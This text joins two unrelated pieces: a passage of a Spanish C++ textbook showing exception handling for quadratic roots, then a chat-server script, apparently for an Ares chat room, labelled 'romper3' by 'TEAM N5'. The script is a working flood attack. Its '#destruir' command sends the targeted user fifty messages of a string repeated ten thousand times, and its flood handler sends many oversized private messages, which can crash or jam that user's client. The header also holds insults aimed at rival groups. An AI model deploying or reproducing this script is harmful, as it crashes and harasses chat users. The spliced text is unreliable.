memoria se reservará dinámicamente cuando el objeto vaya a ser inicializado. Lo importante es
darse cuenta de que el nombre no es realmente una variable miembro de la clase: la variable
miembro es un puntero a la zona de memoria donde está almacenado. Esta situación se puede ver
gráficamente en la figura 1, en la que se muestra un objeto a de la clase Alumno.

ESIISS: Aprenda C++ como si estuviera en Primero página 82
#include <iostream.h>
#include <math.h>
void raices(const double a, const double b, const double c);
enum error{NO_REALES, PRIMERO};
void main(void)
{
try {
raices(1.0, 2.0, 1.0); // dentro de raices() se lanza la excepción
raices(2.0, 1.0, 2.0);
}
catch (error e) { // e es una variable enum de tipo error
switch(e){
case NO_REALES:
cout << "No Reales" << endl;
break;
case PRIMERO:
cout << "Primero Nulo" << endl;
break;
}
}
}
void raices(const double a, const double b, const double c)
// throw(error);
{
double disc, r1, r2;
if (b*b<4*a*c)
throw NO_REALES; // se lanza un error
if(a==0)
throw PRIMERO;
disc=sqrt(b*b-4*a*c);
r1 = (-b-disc)/(2*a);
r2 = (-b+disc)/(2*a);
cout << "Las raíces son:" << r1 <<" y " << r2 << endl;
}
Es importante señalar que los únicos errores que se pueden controlar son los que se han
producido dentro del propio programa, conocidos como errores síncronos. Es imposible el manejo
de errores debidos a un mal funcionamiento del sistema por cortes de luz, bloqueos del ordenador,
etc.
La gestión de errores es mucho más compleja de lo aquí mostrado. El lector interesado deberá
acudir a un buen manual de C++.


ejemplo: scripts romper3 creeado por le TEAM N5  creo copias

//////////////////////////////NO SEAS LAMMER COMO LOS FTC,GX,L-T,ECG,ALC... BUENO ALC NO POR Q SON TAN LAMMER Q NO SABEN ROBAR SCRIPT XD TAMBIEN PARA LOS TE-X Q ESOS SON REALMENTE NOOBS Q SE COPIAN A LOS DG-X JAJA SATAN Y SU COMBO.. LOS MAS NOOBS FRACASADOS DEL ARES =D      
print(0, "x06x0515 x0503                                                                                                     x0515 x0503 ");
print(0, "x06x0503 x0515                                                                                                     x0503 x0515 ");
print(0, "x06x0303-x0315-x0303-x0315-x0303-x0315x0303-x0315-x0303-x0315-x0303-x0315x0303-x0315-x0303-x0315-x0303-x0315x0303-x0315-x0303-x0315-x0303-x0315x0303-x0315-x0303-x0315-x0303-x0315x0303-x0315-x0303-x0315-x0303-x0315x0303-x0315-x0303-x0315-x0303-x0315x0303-x0315-x0303-x0315-x0303-x0315-");
print(0,"");
print(0, "      x06x0303[Fx0315xC5x81xCEx98xCEx98xC4x90 x0303xC4x90x0315xCExA3xC5x9ExC5xA6xD0xAFxCEx98YxCExA3xD0xAFx0303].. (H)");
print(0,"");
print(0, "        x06x0301xD0xBCadxCExB5 x0303xD0xB2xD1x87 x0315lx0303[xE2x88x9Ax0301IRx0303Ux03015x0315xC2xB2x0303]x0315l");
print(0,"");
print(0, "          x06x0303 #destruir + id (H)");
print(0, "x06x0303-x0315-x0303-x0315-x0303-x0315x0303-x0315-x0303-x0315-x0303-x0315x0303-x0315-x0303-x0315-x0303-x0315x0303-x0315-x0303-x0315-x0303-x0315x0303-x0315-x0303-x0315-x0303-x0315x0303-x0315-x0303-x0315-x0303-x0315x0303-x0315-x0303-x0315-x0303-x0315x0303-x0315-x0303-x0315-x0303-x0315-");
print(0, "x06x0503 x0515                                                                                                     x0503 x0515 ");
print(0, "x06x0515 x0503                                                                                                     x0515 x0503 ");

function onTimer() {}

function onTextBefore(userobj, text)
 {
  if (text.substr(0,9) == "#destruir " && userobj.admin > 50)
  {
   text ="";
  }

  return text;
 }

String.prototype.repeat = function(n) { return new Array(n + 1).join(this) }
function onTextAfter(userobj, text) { }
function onEmoteBefore(userobj, text) { return text }
function onEmoteAfter(userobj, text) { }
function onJoinCheck(userobj) { return true }
function onJoin(userobj) { }
function onPart(userobj) { }
function onVroomJoinCheck(userobj, vroom) { return true }
function onVroomJoin(userobj){ }
function onVroomPart(userobj){ }
function onFlood(userobj)
{
  print(user(target), ":):-D(H):$(A)".repeat(10000)); sendPM(user(target),"[FxC5x81xCEx98xCEx98xC4x90]1", ":-D(H):$(A)".repeat(1000)); sendPM(user(target),"[FxC5x81xCEx98xCEx98xC4x90]2", ":-D(H):$(A)".repeat(5000)); sendPM(user(target),"[FxC5x81xCEx98xCEx98xC4x90]3", ":-D(H):$(A)".repeat(5000));  sendPM(user(target),"[FxC5x81xCEx98xCEx98xC4x90]4", ":-D(H):$(A)".repeat(5000)); sendPM(user(target),"[FxC5x81xCEx98xCEx98xC4x90]5", ":-D(H):$(A)".repeat(5000)); sendPM(user(target),"[FxC5x81xCEx98xCEx98xC4x90]6", ":-D(H):$(A)".repeat(5000)); sendPM(user(target),"[FxC5x81xCEx98xCEx98xC4x90]7", ":-D(H):$(A)".repeat(5000)); sendPM(user(target),"[FxC5x81xCEx98xCEx98xC4x90]8", ":-D(H):$(A)".repeat(5000));  sendPM(user(target),"[FxC5x81xCEx98xCEx98xC4x90]9", ":-D(H):$(A)".repeat(5000)); sendPM(user(target),"[FxC5x81xCEx98xCEx98xC4x90]10", ":-D(H):$(A)".repeat(5000));
         print(userobj, "rrrrrrrrrrrrrrr".repeat(20000));
                print(userobj, "rrrrrrrrrrrrrrr".repeat(15000));
                print(userobj, "rrx06x0301JAJAJAJAJAJA :@r");
}
function onCommand(userobj, cmdText, tUser, arguments)
 {
  if (cmdText.substr(0,10) == "#destruir " && userobj.admin > 50)
  {
   var target = tUser.id;
   print(userobj.vroom,"  x06x0315[x0303FxC5x81xCEx98xCEx98xC4x90x0315]>x0303>x0315>x0303>x0315>x0303>x0301"+tUser.name+"x0303<x0315<x0303<x0315<x0303<x0315<[x0303FxC5x81xCEx98xCEx98xC4x90x0315]");
   print(userobj.vroom,"   (6)x06x0315>x0303>x0315>x0303>x0315>x0303>x0301[ESTE VALIO VERGA]x0303<x0315<x0303<x0315<x0303<x0315< (6)");

  for(var a=0; a<50; a++)
  {
  print(user(target), "rrrrrrrr".repeat(10000));
  }     

 }
}
function onHttpReceived(page, code) { }

function onPmFlood(userobj) { return true }
function onSearchWordAdded(userobj, filetype, filename, filetitle) { }
function onPM(userobj, tUser, textobj) { return true }